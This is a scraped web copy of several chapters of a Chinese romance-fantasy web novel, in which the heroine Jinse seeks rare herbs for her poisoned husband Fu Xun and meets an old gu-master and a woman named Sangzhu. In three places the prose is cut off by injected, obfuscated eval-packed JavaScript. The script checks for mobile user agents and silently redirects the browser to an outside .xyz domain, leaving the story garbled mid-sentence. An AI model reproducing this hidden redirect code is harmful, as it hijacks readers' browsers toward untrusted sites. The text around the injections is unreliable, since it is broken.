锦瑟看了看合眼沉睡的苻洵,眉心已恢复平静,透出几分泰然安详。试探着挪开手掌心,那团金光又开始溢出。 “给我拿几个馒头,一壶热水”,她想了想,下定决心,“再去找两根长麻绳过来。” 她先让郎琊在岸上拿着馒头和水喂给她,自己则抱着苻洵不放,伸长脖子啃了两个馒头、喝了半壶水,腹内空荡荡的烧灼痛感好了些,也增长了部分力气。 然后,她让郎琊和那两名护卫将绳索一端穿过她的腋下,一端系在木篱笆上,分别系在两个不同的方向上,保证他们的身躯不会同时沉入水底。 粗粝的麻绳隔着衣袍勒进她的皮肉,有点痛。郎琊提议:“要不还是系在主子身上吧,他比夫人沉一些。” 她不假思索摇了摇头,苻洵已经那么疼了,她舍不得让他再多疼一分。 郎琊说:“主子要是醒了,晓得夫人这样遭罪,会罚我们的。” 她静静注视着苻洵的睡颜:“所以,他为什么非要和离?”但是话一出口,她就知道郎琊不会回答。 秦川嘴碎、郎琊嘴严,苻洵兼具了他二人特点,撩闲的时候话又多又碎,到了关键时候锥子都撬不开那张嘴。 果然,郎琊沉默了,半晌后说:“有一种汤药,可缓解主子的疼痛,夫人还是上来歇歇。” 她在记忆里搜寻一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他满眼泪水定定注视着她:“姐姐,看着我的眼睛,你真的已把我忘得干干净净了么?” 她张了张嘴,听见梦里的她哽咽着说:“没有,我全都记起来了。” “可我现在只能把你忘得干干净净。” 她哭着醒来,窗外一轮圆月静静照着满脸泪痕,披衣起身、推开门走出去,屋外灯火通明。白袍卫就算只有三人进山,也是纪律严明、分了两班轮值。 郎琊见她过来,忙从厨房端来宵夜,还有一碗酽酽的参汤。又跟她说,苻洵这次受伤很重、调养非一时之功,劝她不要太拼,不必非浸在水中,坐在岸边牵着他的手,‘相思’也能感知到。 她不知他前两月为何匆匆离去,也不知他受了什么伤,更不知他心口那团金光是什么,他有太多谜团。 可她不想追究了,只要他好好活着,甚至醒来后是否还能和她过下去,都没那么重要。 她只期盼他过得好。 苻洵一连十多天昏迷不醒,脸颊和嘴唇依然没有一丝血色。郎琊反而从最初的慌乱中平静下来,每天定时熬煮汤药、安排饭食,提醒她去汤泉陪着苻洵、再提醒她回来歇息。 山中无日月,岁尽不知年。 有一天,郎琊请她去厨房,带着前所未有的严峻神色:“夫人,主子的草药快用完了。” 她打开挂在墙上满满的药囊,诧异道:“这不是还有么?” 郎琊:“这是缓解心痛的薜荔,我说的是焉酸草。” 她心一沉:“这不是画本子里所说,消解百毒的神草么?” “真实存在的”,郎琊满眼忧虑,“只是生长地点很刁钻,当时采第一茬时颇费了些功夫,现在煎的还是前些年采的。” 她思忖片刻:“当初在哪儿采的,现在再去那里不就成了?” “没那么容易,这药是在地皇山脉武原城那段采的”,郎琊摇摇头,“当初采药的时候,那地方还三不管,乱着,如今全是北宛精兵把守。” 她想了想又问:“难不成,这草药就只那一个地方长?” 郎琊沉吟半晌,抬眸深深注视着她:“这就要靠夫人了。” 157. 十年生死两茫茫 “请夫人看好焉酸草的外形。”郎琊展开一张彩色的工笔画。 那是一株长相奇特的草,深绿色的方形茎杆,铜钱大小的圆形叶子重叠为三层,簇拥着顶端一朵金黄色的柔嫩小花。 锦瑟仔细看了十几次,将所有细节牢牢刻在脑中。 郎琊起身,打开另一个药囊,谨慎地取出一枝干枯的草,递到她面前。 看到那枝草的瞬间,她忽然心神一震,全身的血液澎湃、翻滚越来越快,像是沸水一般,一直涌到双目,眼周滚烫发胀。她忙移开视线,别过脸伸手去拿那枝草,离它越近、血液沸腾得越快,齐齐涌向指尖。 她转身换了个方向,用另一只手去接。可无论她如何变化动作,身躯任何部位一旦靠近那株草,沸腾的血液就会迅速聚向该处。 热血在体内四处冲撞轰炸,她头晕目眩、四肢发软,痛呼一声,双膝弯曲跪了下去。 膝盖触到地面的刹那,沸腾的血液停止了冲撞,依然灼热、却不再烫得那般难以承受。她深吸一口气,再度试探着伸出手。 血液仍聚向她拿草的那只手,却再无那般剧烈疼痛,反而使她那只手充满了力量。 《异物志》记载:千年之前羽民西渡,女王发动禁术致使长流川逆流、南北两岸皆成泽国,蒙舍人携千万蛊物跨过长流川,与羽民鏖战于木城群山。羽民中毒身死者无数,尸骸委地成泥、化作寸草不生的数百里焦土。 唯神鸟九姓天生血脉能克制蛊毒,久战难分胜负,蒙舍王撤回深林,以长流川南岸线为凭,与羽民定下“蛮黎不出境,他族不入寨”的约定。 大战之后,为恢复中毒尸骸化作的焦土,女王取九种神鸟的心头血撒于毒壤。九九八十一天后,焦土长出“方茎而黄华,圆叶而三层”的焉酸草,可解蛮疆千百蛊毒,毒壤逐渐恢复了生机。 而位于地皇山的焉酸草略有不同,传说是女王殒身之后、躯体融于泥土生长而成,可解世间万毒,但存世极为稀少,若不得法或没机缘,往往数十年而不得一株。 郎琊是怎么在地皇山采到这么多的? 锦瑟摇了摇头,将脑中疑问驱逐开,重复了一遍:“木城山的只能解蛊毒。” 郎琊十分确定:“主子中的正是蛊毒。” 锦瑟脑子乱得像浆糊,直觉告诉她,这蛊毒既不是‘相思’、又不是他心口那团金光。 “看着铁板一块,全身都是毛病”,她蹲在池边捏了捏苻洵的脸,放肆嘲笑着他,却滴下两颗泪珠,“拿自己当养蛊的罐子?” 然后起身,从郎琊手中接过印着九瓣芙蕖的令牌,对池中昏睡的人挥了挥手:“走了。” . “夫人,你说延江为何叫延江?” “夫人,你说这阜门峡既挨着延江,为何不叫延门峡?” “夫人,你说蛮族人又不会大举攻进群山,昭王为何还要筑起南篱?” “夫人…” “夫人…” 锦瑟感觉耳边有几千只蚊子在飞,烦躁地深吸一口气,倒了杯茶看着舷窗外、慢慢端起来。秦川眼疾手快一把夺过,塞给她另一个杯子:“夫人,大冬天的别喝绿茶,喝这个麦冬茶。” 锦瑟将杯子捏得咯吱作响,转头看向秦川。 秦川笑了,露出两颗小虎牙:“夫人有事请尽管吩咐,卑职都……” “出去,没我吩咐不准进来!”锦瑟忍无可忍指向房间门。 秦川忙施了一礼退出去,在门口站定:“卑职不能走远了,若夫人少了根头发,主子肯定得打死我。对了,夫人你的刀法可是主子亲自……” “闭嘴!”锦瑟暴躁地走过去,哐当一声将房门摔上。 跟秦川同船相处的几天,她第一次深刻意识到苻洵和苻阐的脾气有多好。她一直知道秦川嘴碎,但还在可忍受的范围,可一旦苻洵和郎琊都不在旁边,他像是揭开了什么封印似的,能一口水不喝、自言自语叭叭叭一两个时辰。 郎琊留守山中小楼照顾苻洵,锦瑟出山时向他拿了白袍卫下六卫的令牌,想去珪山分部调几个人手,结果一进联络点就撞见带着二十多人来珪山帮忙的秦川。 当时只想着,秦川和上三卫的武艺更高,进木城山用场更大…… 此刻,锦瑟只想回到从珪山出发那天,抽当时的自己十几个大嘴巴子。 . 木城山地处南翊境内,为已消亡的西陵古国旧址,西接夔山、东邻西陵城,属翊国镇南府金州军的辖地。 然而,苻洵玉照关大捷之后,崔氏主力嫡系几乎全军覆没,如今虽仍由崔玄仁驻守镇南府,麾下战将却多为褚氏子弟。木城群山本就幽深诡谲、地势复杂,金州军大换血之后,对此地的控制力更是弱到虚无。 锦瑟和秦川一起蹲在山顶上,研究着摊在地上的舆图,再跃上树顶勘测实际的山脉走向。 一行人在山顶简单地吃了干粮喝了水,锦瑟看着秦川咽下最后一口水,赶紧先出声为强:“闭嘴!” 秦川有些懵:“我没说话啊。” 锦瑟站起身走在最前面,毫不客气往身后指了指:“你到最末尾去,断后。” 同行的白袍卫憋得十分痛苦,疯狂给秦川使眼色,秦川只好耷拉着脑袋走到队伍末端。就这样,锦瑟带头、秦川断后,一行人不近不远地穿山越岭,走向木城群山深处。 危崖高万仞,崖顶宽度不足两丈,站在崖顶,天似乎比别处更矮些、月亮也比别处更大些,放眼望去、只有翻滚的云海,连一处山头都看不见。 “夫人,没路了……”秦川忍了又忍,唇角抽搐着出声提醒,“郎琊到底怎么跟你说的?” 锦瑟茫然四顾,摸不着头脑:“不应该啊,我就是按他说的方法走的……” 出发之前,郎琊对她说过,记住被焉酸草灼烫的感觉,若遇岔路不知如何抉择,就按直觉选一条喜欢的。 于是,他们走走停停十多天,来到这么个上不着天、下不着地的破地方。 呼啸的寒风从四面八方吹来,一阵紧似一阵,饶是他们有武艺在身,也被刮得东倒西歪。锦瑟合目感应了半晌,身体某一侧有微微的温热之感,她肯定地指向一个方向,旋即转身挪了两步。 身后的白袍卫眼疾手快,赶紧一把扯住她。 她睁开眼睛,发现自己正站在悬崖的边缘,前半只鞋已悬在空中。 “不应该啊”,她歪着头往崖下瞟了一眼,“这个方向明明能感应到,难不成是崖底?” 秦川好奇地问:“为什么不是半山腰?” “《异物志》说,这草是从有毒的尸骸堆长出来的”,她没好气白了一眼,“这么陡,半山腰停不住吧。” 秦川恍然大悟:“有道理,咱们原路返回,去崖底看看?” 锦瑟点点头,往后撤退半步,正要转身离去,鞋底被什么重重硌了一下,紧跟着脚底一滑,整个人向悬崖飞扑出去。 离得最近的白袍卫忙飞身扑出,抓住她的袍袖,却只减缓了她的速度,袖子在护卫掌心慢慢滑脱,她也在一分一分慢慢往下坠落。 “你们怎么这么慢!” 秦川头皮都炸了,边吼边拔腿就跑、一阵风似的冲到队首,在那名护卫即将抓不住她的刹那,纵身跃下奋力一捞,却只感觉她飞扬的发丝从掌心穿梭而过。 他捞了个空。 眼睁睁看着那一袭白衣消失在云海。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781194|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> . 锦瑟置身在一片浓厚的白茫茫里,浸润在潮湿寒凉的雾霭之中。下坠的时候,时间的流速变得极缓极慢,太阳穴忽然针刺般剧痛起来,恍恍惚惚一道绚丽夕阳从西边照过来。 她感觉自己攥着什么东西,吊在半空,下意识抬头。只见自己手执一根皓白的鞭子,鞭子那头缠着一只因用力而青筋暴突的手,往上是雪白的袍袖,再往上看不太清。 她却下意识脱口而出:“阿洵,危险,快放手。” 耳边风声呼啸,夕阳和晚霞越来越亮,变成一片雪白刺眼的光,从头顶照下来。 她眨了眨眼睛,适应光线后,恍惚间看到苻洵挂在悬崖上方,一手死死扒着凸起的石块,一手紧紧攥住她的手腕。 血,好多血。 他全身像是从血泊里捞出来的,抓着她的那只手袖子里灌满鲜血,滴滴答答顺着两人紧握的手,一股股流进她的衣袖。灼热的、浓稠的深红,与她浸满鲜血的衣服融为一体。 痛,好痛。 五脏六腑火辣辣地痛,像是被架在烈火上炙烤,心肝脾肺都因剧痛而震颤、逐渐麻木,双目因失血过多而晕眩。 她听见自己说:“阿洵,放手吧。” 大颗大颗泪珠砸到她脸上,滑到她唇边,又苦又咸,他颤声说:“你还有我这个仇人活着,不能死。” 她微微笑了:“我刺杀过你,只是失败了,我们已两清。” “没有两清,不准两清,我还欠你那么多”,他唇角挤出一丝笑,泪水越流越多,“姐姐你撑住,我找到救你的办法了,我错了……我后悔对他下毒。只要你肯活下去,让我做什么都可以,哪怕是替他解毒……” 她摇了摇头:“晚了……太晚了……” “阿洵,你总是来得这样晚。” 悬崖上方垂下几根绳索,郎琊手提风灯、带着几个人,他们腰里系着另外的绳子,顺垂下的绳索缓缓滑向他们悬吊的高度。 她抬起另一只手,忍着剧痛,一根一根掰开苻洵紧紧抓握的手指。 “晚到我所有羁绊都已在翊国,晚到我已不能与你相守一生一世。” 最后一根手指掰开,苻洵再度用力一捞,死死握住她的手掌,她抬头看向他,笑了笑,继续伸手去掰他的手指。风灯的光太刺眼,她不禁别开脸、面向南方影影幢幢的群山,轻声低吟。 “吾平生只欠一死……” 拇指、食指、中指……一根又一根手指被掰得失力、松脱开来,利用他掌心、她手背之间滑腻的血液,她使出吃奶的力气旋转手腕、一点点抽出手。 “……可勿葬,弃诸沟壑……” 她闭上双眼,感受着崖底翻卷上来的狂烈山风,任身躯直直向着无底深渊落下。 “……示天下后世为臣而不死国者。” 她抽出手的刹那,悬在上方的苻洵放开借力的凸出石块,脚一蹬加速下坠、张开双臂抱住了她,与她一起坠向茫茫云海。 血越流越多,她意识逐渐恍惚,模模糊糊看见,几个腰里系着绳索的人合力抱着他们,上方有人拉动绳索、将他们一点点吊上去。 右手被塞进一个冰凉光滑的红色瓷瓶,他拔去瓶塞,将她的右手连同瓷瓶举起、举到他唇边,借她之手将瓷瓶中的液体倒进自己嘴里。 失去知觉的瞬间,她看见灼热的金色光芒迅速盛放、占满全部视野。 金光几度涨缩、明明灭灭,逐渐变得柔和而沉静,淡如薄纱,显出光芒中心的真身——纯金色虫子、拇指头大小、形如蝉。 也显出金光后面那张脸,容貌清癯、须发俱白,面带微笑注视着她:“一别十余年,褚娘子别来无恙?” 158. 纵使相逢应不识 老者有一双与苍老年龄不符的漂亮眼睛,又纯净又明亮,扬眉轻笑竟使她如沐春风。 “老先生认错人了”,锦瑟不假思索回他,“妾身锦瑟。” “不可能,你明明……”他狐疑地上下打量着她,突然收了笑意、止住话头,直勾勾盯着她脖颈处,“锦瑟姑娘的链子很是别致,可否借老朽一观?” 锦瑟逐渐回过神来,眼睛也慢慢适应了昏暗的光线。此处是一间由山洞凿成的房间,简陋、却十分干净舒适,四壁挖出不少壁龛,放着许多瓶瓶罐罐,房间正中挖着一口火坑,燃着一堆篝火,火焰上方吊着一口铁锅,水已煮沸。 对面的老人穿着洗得发白的蓝布袍,衣袍没有半点纹绣,坐相很端正、腰背笔直,颇有几分仙风道骨。 她迟疑半晌,摘下脖子上的纯银祥云锁,递了过去。 “老朽请教姑娘,这银锁是何人所赠?” “我夫君。” 老者将银锁摊在手心,借火光仔细端详着上面栩栩如生的蝴蝶,扯了扯唇角挤出微笑,眸中却闪着泪花,似喜似悲,喉结上下滚动,声音颤抖中带着哽咽:“尊夫如何?” 锦瑟一愣,直觉这老者亲切可信,于是说:“他挺好的,当了大将军,很受国君器重。” 老者抬眸注视着她:“老朽是想问,他身体是否康健?是否安乐?待你如何?你们感情好么?有几个孩子?” 锦瑟思索片刻,柔声道:“他身体一向康健,过得很安乐,待我十分体贴,我们感情很好,膝下有两子一女。” 老者眼中泪花越聚越多,汇成两颗泪珠滚落面颊,神色却欣慰而欢喜:“好,好啊……多谢夫人。”躬身施了一礼,将银锁递还给锦瑟。 锦瑟礼貌地微笑回礼,接过银锁戴回脖颈,要将银锁塞回衣内,于是站起身离火塘远了些,背过身去整理衣物。 身躯却依然感觉到滚烫的灼烧感,她精神一震,熟悉的感觉——血液澎湃、翻滚越来越快,像是沸腾一般。却没有聚向任何地方,而是涌向四面八方、像是要挣破血脉流溢而出。 她眨了眨眼,看向昏暗的山洞石壁,倏然惊住了。 石壁与地面连接处的墙根,密密麻麻、成片绵延的深碧,每一株都是方形茎杆,铜钱大小的圆形叶子叠为三层,金黄色的柔嫩小花点缀在顶端。 满满半山洞的焉酸草! 老者目不转睛盯着她双眸,缓缓问道:“尊夫当真无恙?” 锦瑟咽了口唾沫,脑子飞速旋转想着措辞,却见老人眼中陡然亮起精光,似笑非笑道:“若不是遇到连他都无法压制的剧毒,为何要来寻焉酸草?” 锦瑟无言以对,喟然长叹以示默认。 老者眼中锋芒散去,又挂上沉静慈和的笑容,抬手伸向她,温声征询:“可否让老朽替夫人看诊?” 锦瑟不明所以,但晓得遇上厉害角色,于是顺从地跪坐到他对面,张开双臂。任他从上到下细细端详、切脉按压、提拉手臂筋膜再迅速弹回。然后,他起身从壁龛的陶罐中摸出一枚生鸡蛋递给锦瑟。 “请夫人将它贴着心口肌肤滚动半刻。” 然后,很有分寸地背过身、走到山洞口回避。 老者将鸡蛋投入沸水里煮熟,剥开蛋壳仔细察看,喃喃自语:“这样干净?竟无一丝余毒?” 又问:“夫人清醒之后可还记得自己是谁?来自何处?” 锦瑟觉得不能这样被牵着走,于是微笑提议:“不如咱们交换答案?” 老者非但未恼怒,笑容反而带上几分满意和自豪:“好。” 锦瑟:“前尘尽忘。老先生如何得知我会失去记忆?” 老者:“换个问题。” 锦瑟:“老先生是否与我夫君相识?他究竟身中何毒?” “我与他是……旧交,他身中何毒我不知道,但是木城山这边焉酸草能解的毒、他自己都能够配置解药压制”,老者突然瞳孔急遽放大,“除非是……” 锦瑟睁大眼睛:“除非什么?” 老者慢慢抬起手:“该我问了,夫人是否在尊夫身边见过此物?” 拇指头大小的虫子从他袖间飞出,形如蝉,遍体纯金,散发着柔和的金色光芒。老者拿起一根针,刺破指尖、挤出一滴血,虫子停在他指尖吮吸着血珠,金光倏然暴涨,却不似锦瑟见到过的那般锐利凶戾。 锦瑟沉思片刻,点了点头:“见过,此为何物?” 老者唇角颤抖着微微上扬,欣喜难以自抑,喜极而泣:“果然,他果然这样出息。此为万蛊之王金蝉,炼成之后以蛊主精血供养,可克制蛮族所有蛊毒,也可护住蛊主心脉生机、修复伤口。” 又问:“夫人的记忆是从何时开始的?” 锦瑟:“三年半之前。” “不可能!”老者一愣,旋即否认,“我五年多才拔了不到七成?他怎会这么快?” 锦瑟探究地注视着他:“老先生那里也有与我一样,前尘尽忘之人?” 老者十分坦荡地摇了摇头:“换个问题。” 锦瑟意识到他在刻意隐瞒什么,于是不再兜圈子、单刀直入:“我若想得到这里的焉酸草,需要用什么交换?” “只能给你一部分,我还要用”,老者也不含糊,“至于拿什么交换……老朽想先问夫人三个问题,没有答案可交换的那种。” 锦瑟谨慎地说:“不一定每个都有答案。” 老者微微笑了:“必不令夫人为难。” “夫人是否愿意为尊夫不计生死?” 锦瑟毫不犹豫:“我们都可以为彼此舍生忘死。” “尊夫是不是夫人此生唯一挚爱?” 锦瑟思索片刻,平静而笃定地说:“从前不知,往后余生我只认定他一人。” 老者点点头,露出欣慰的笑容,缓缓抛出第三个问题:“无论发生过什么事,无论夫人结识了何人、回忆起任何前尘,是否都会与他长相厮守,不离不弃?” 锦瑟沉默良久,苻洵毫无征兆地要求和离,那些不时挤进她脑海的残碎场景,悲怆、绝望、血淋淋、痛不欲生……她刻意忽略和忘记,它们却如影随形。 思忖半晌后,她幽幽地说:“我不能保证与他长相厮守。” 老者眼神一黯、面露失望,却听她继续道:“能保证的,只有尽我所能、护他一世长乐安宁。” 老者一怔,眼里泛起泪花,嘴唇噏动喃喃道:“好,好啊。” “尊夫是老朽旧识,本该无偿赠与药草,然有一紧要之事,非夫人不可达成”,老者沉吟半晌,情绪逐渐平复,“然而世间万事,一饮一啄,莫非前定,老朽也有不得不报的恩、不得不做的事。” 他转过身,珍惜地打开一只青铜匣,青铜匣里套着木匣,木匣中卧着一枚形如鸡蛋的红色玉石,光滑而温润,散发着柔和的红光。锦瑟只靠近,便觉到一股暖流在血脉里慢慢流淌,让她醺醺然竟有几分醉意。 “此为琳琅,琼枝之实”,老者觑着她神色,语调不疾不徐,“琼枝树生于西陵古国旧址、北顶山祭坛之上,万仞雪峰、陡峭程度不输这座刀片山。” 又说:“但这不算真正的困难。古书云,南方有鸟,其名为凤;天为生树,名曰琼枝……” “不必讲这些渊源”,锦瑟忽然出声打断,失礼得自己都愣了片刻,“先生只需告诉我,如何取得即可。” 老者注视她须臾,松了口气、露出微笑:“对老朽来说很难,对于夫人来说易如反掌,北顶山很好找,难的是需要夫人登顶之时不带一粒食物,寻到琼枝树后,割腕洒血于树下,然后……” 他顿了顿:“然后,靠着树干饿上几天几夜,饿到弥留之际,琼枝树便会受到诱导、结出琳琅果。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786103|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这叫易如反掌? 焉酸草要摔死她,琳琅果要饿死她。 这些奇草异果的获取方式,简直一个比一个刁钻,一个比一个神经。 “成交!”她脑中闪过苻洵苍白的脸,毫不迟疑地说。 “不是一次,是每年,直到我不再需要琳琅果为止”,老者神色逐渐凝重,“木城山生长的焉酸草,效用不及地皇山的,若老朽没猜错,尊夫以后需要的焉酸草,数量会比以前多很多。” 还怪贴心的。 锦瑟察觉到这老者与苻洵关系不一般,但此时不方便思虑太多,于是想了想,抛出最后一个要求。 “我夫君急需草药,先给我一些、交由下属带回”,她觑着老者表情变化,“若老先生不放心……” “没什么不放心的”,老者淡淡地说,“我相信他的眼光。” 看着锦瑟走到山洞壁角,小心翼翼拔起一株又一株已开花的焉酸草,老者无声地笑了,明亮双眼露出温暖和慈爱。 起身,从壁龛里取出一本油纸布包裹着的手录册本,在篝火前摊开,翻到写有“独活”字样那页,又取出一截炭笔,谨慎而专注地写下最新实录: 中毒者,以金蝉拔毒之后,虽性命犹存,前尘皆忘、武艺俱废,一如新生。 一刻钟之后,锦瑟将装满药草的褡裢系在腰间,挥了挥手走向黑漆漆的洞外。 老者依然在篝火前专心致志写着手录,她打招呼也毫无反应,直到她快走到洞口,他才如梦初醒地跳将起来。 “等等!” 旋即,他以远超七旬老者的敏捷、三步并作一步冲向洞口。 锦瑟刚走出洞口,脚底一空、毫无前兆地坠了下去,却并未直接坠向崖底,腿脚从粗粝的网状物孔中穿过,磨得她两腿火辣辣地疼。幸亏老者力量极大,一把扯住她胳膊、将她旱地拔葱拽了上来。 她摔了个屁/股墩,坐在地上惊魂未定地喘气后怕。 正是天亮前最漆黑的时辰,冰冷的夜风挟着露气、从下方呼啸而过,他们藏身的山洞,居然在峭壁半空。 她这才想起,自己分明从崖顶坠落,怎么一觉醒来、却毫发无损坐在山洞里? 老者长舒一口气,递给她一瓶药膏:“夫人先拿去搽伤,待天亮了再下山去。” 锦瑟讶异道:“先生为何在崖壁修炼。” 老者脸色变得有些奇怪,轻咳两声委婉地说:“老朽修炼功法的时候,需同时与天地感应。” 锦瑟无法理解:“山顶岂非更好?” 老者表情带着难以言喻的尴尬:“以前都是在山顶修炼的。” 锦瑟追问:“后来呢?” “后来从崖顶掉下去差点摔死,再修炼就藏在隐蔽些的山洞了”,老者神色赧然,见她依然满脸诧异,笑了笑继续说,“为了避免一脚踩空,还会在洞外岩壁上拉一张绳网。” “夫人从山顶坠下的时候,刚巧落在我拉在洞外的绳网上。” 这独特的思路…… 不得不说,虽然有些奇怪,与他仙风道骨的气质不符,却实在挺有用的。 从焉酸草的感应、到琳琅果的获取之法,这世界已经癫得她快窒息了,再出现个奇怪些的人,她也麻木了。 天亮之后,锦瑟顺着老者从洞口放下的绳子下山,在山下等了半天,果然等到搜寻过来的秦川等人。 将人分作两拨,一拨由秦川带队、将焉酸草先行送去渝安,一拨随她前往北顶山祭坛寻找琼枝树、诱生琳琅果。 取得琳琅果回、到刀片山下已是二月底。她听从老者的安排,让白袍卫在山隘口等待,她背着装满琳琅果的褡裢,按图索骥,只身向谷底深处走去。 山穷水复疑无路,忽有如霜般淡淡的白,浮在枝头新绿之上,一眼望不到边的梨花迤逦数里,白锦无纹香烂漫,玉树琼葩堆雪。 159. 梨花坞里忘前尘 “此山是我开,此树是我栽,要想过此路,留下买路财!” 童声在梨树林中响起,旋即一条绳索飞旋荡来,锦瑟八风不动站在小径上,直到绳索快抽到背上,才倏然向后倾身,同时闪电般伸出手臂一抓,旋了旋手腕,将绳子缠在臂上,用力一拉。 拽出个跌跌撞撞的小身影。 那是个五六岁的男童,一身粗布短打洗得很干净,乌溜溜的眼睛又亮又清澈,莫名让她想到苻洵。但是随着目光下移,看到他那高鼻和薄唇,不禁好笑地摇了摇头,拍了自己额头一巴掌。 不知怎的,仍觉得这孩子有些眼熟。 孩子被她轻轻松松缴了械,还趾高气扬地抱臂站在小径中央,伸手道:“买路财!” 这么拽,在外面很容易挨打……也不知跟谁学的? 锦瑟又好气又好笑,摸了摸身上,还有前几天从秦川那儿顺来的冬瓜糖和石蜜,于是全部掏出来递给他,又摸了摸他柔软的头发:“叶儿,我找你娘亲。” 叶儿一看到糖块,惊喜得眼睛又大了几分,立即走到路边侧过身站得笔直,恭恭敬敬躬身长揖:“圣人云,有朋自远方来,不亦乐乎。叶儿给夫人请安。” 梨花林深处传出个清亮的女声:“叶儿,送药的人到了?” 叶儿忙将糖块揣好,一溜烟跑向声音来源。锦瑟敛衽一礼:“妾身锦瑟,受老先生之托前来给桑珠夫人送药。” 她话音未落,一柄亮如霜月的弯刀从深林出飞旋而出,直直对着她脖子砍来,弯刀尾端连缀着一根长约一丈的麻绳。 锦瑟:“……” 总算知道叶儿跟谁学的了。 锦瑟心神一凛,倾身避开攻击,如法炮制将麻绳缠在臂上,同时手掌绕着弯刀旋转几圈,把刀柄握在掌心、反手一划,割断绳索将弯刀抢在手里。 弯刀也有点眼熟。 林荫处走出一名年轻女子,长眉大眼、高鼻薄唇十分英气,穿着红色溜肩长裙,裙子将身形收束得很好,衬得她腰很细,却没有一丝娇柔姿态,像一株坚韧的新柳。 桑珠与她一打照面,从腰间拔出一把剑就冲了过来,边跑边喊:“果然是你,褚……” “我不是你说的什么褚”,锦瑟飞快打断她接下来的话,闪身避开她刺过来的剑,同时伸腿一勾将她绊倒。 然后,矮身屈膝压住她胸口,再抽出腰间长刀架在她脖子上,“你是不是有病,我就送个药,至于吗?” 一边说,一边解下腰间褡裢,扔到桑珠身上。 桑珠被压制在地,却不顾刀横脖颈,忙不迭伸手去接褡裢,略略揭开一看那红彤彤的柔光,立即如珠如宝护在怀里,警惕地看着她:“放下药就走,不准进屋里去。” 锦瑟一头雾水,怒火中烧:“走了大半天,喝口水都不成?” 桑珠还没发话,叶儿已经屁颠屁颠跑向梨花林深处。须臾,端着一只盛满清水的瓠瓢出来,锦瑟一手持刀不动,一手接过瓠瓢喝了一口,凉凉的、甜丝丝的,十分解渴。 叶儿眉眼弯弯、带一丝谄媚看着锦瑟:“夫人,这里面加了槐花蜜。” 锦瑟笑容可掬摸了摸叶儿脑袋,扔过水袋:“乖,拿进去装满。” 又说:“以后我每年都来,要什么新鲜东西,我都从山外带给你。” 叶儿欢喜得一跃而起,接过水袋往林子深处跑得飞快。锦瑟挑了挑眉,假模假样叹了口气:“有的人啊,还没个孩子识时务。” 桑珠挣扎了几次都使不上力,气得嘴都歪了:“没出息!” 说话间,叶儿已捧着水袋出来,又递过来一块桦树皮,桦树皮上用炭笔列出想要之物。他看了看被压制在地的桑珠,乞求地望向锦瑟。 “鲁班锁、饴糖、九连环、墨、纸、《古文观止》、《尚书》……”锦瑟一边读,一边收敛笑意正色打量着叶儿,“没事,我跟你娘亲闹着玩,马上就放开她。” “谁跟你闹着玩,我要跟你决斗”,桑珠手舞足蹈挣扎一阵,还是挣脱不了,“你瞧不起我么?” 锦瑟发现叶儿的一笔字十分隽秀,探究地看向桑珠:“你教的?” 桑珠忽然笑了,得意洋洋地说:“孩子爹教的。” 锦瑟点点头:“哦,是个好苗子,用桦树皮都能写这么好看,下次进山带些笔墨纸和书来……” “你不准来了!”桑珠愤怒大喊。 “说得像我想来,跑大半个月,一口热乎饭都没有”,锦瑟撇了撇嘴,收好水袋和桦树皮,松开膝盖起身,“你这待客之道啧啧……还是叶儿懂事,走了!” 拍了拍衣袍沾上的灰尘和树叶,转身向外走去。 她走得干脆利索,桑珠惊呆了,由叶儿扶着站起来:“你真的不进去看我……我夫君?” “你夫君有什么好看的?”锦瑟莫名其妙回过头,“肯定长得没我夫君好看。” 桑珠气得眼睛都红了,跺了跺脚,拉起叶儿就往树林深处走。锦瑟疑惑地摇摇头,正打算离开,突然发现路边草丛露出一星暖白,大概是方才打斗中,从叶儿身上掉下来的。 那是一枚温润莹白的玉环,材质是价值连城的羊脂白玉,精雕细镂着两只比翼凤凰,玉环中央的字被磨去一半,只剩上半部分的“日”。 本来想扔那儿不管,又想起叶儿那一笔好字,此物对他必定十分紧要。于是拾起玉环、沿小径往里追了几步:“等等……” 桑珠已拉着叶儿走到小院门口,正推开柴扉,见到锦瑟飞奔而来,立即拔出刀架在自己脖子上:“你再往前一步,我就死在你面前。” “……” 神经病年年有,今年格外多! 锦瑟默了半晌,停住脚步、扬了扬手里玉环,“能不能讲点道理?我只想问,这玉佩是不是叶儿的?” “不是他的,难道是你的?”桑珠扬眉笑了,满脸得意,“这是孩子爹传给他的。” 又来了,她到底多得意自己那个夫君? “我猜也是,你这种不讲道理的女人,怎么会有这种玉佩!” 锦瑟烦躁地将玉佩放在地上,头也不回走向梨树林外,虽然她也不懂讲道理和玉佩之间有半毛钱关系,但骂出来确实痛快不少。 “她说我是粗鲁的野女人!”桑珠怔怔望向锦瑟远去的背影,两眼通红,咬牙切齿地说。 叶儿觑着她神色:“她原话是你不讲道理,对了额吉,你为什么跟她说舅舅是我爹爹?” “不是舅舅,是表舅”,桑珠敏感地纠正,蹲下去平视着叶儿,目光郑重地交代,“叶儿记住了,以后对外人,表舅就是你爹爹。” 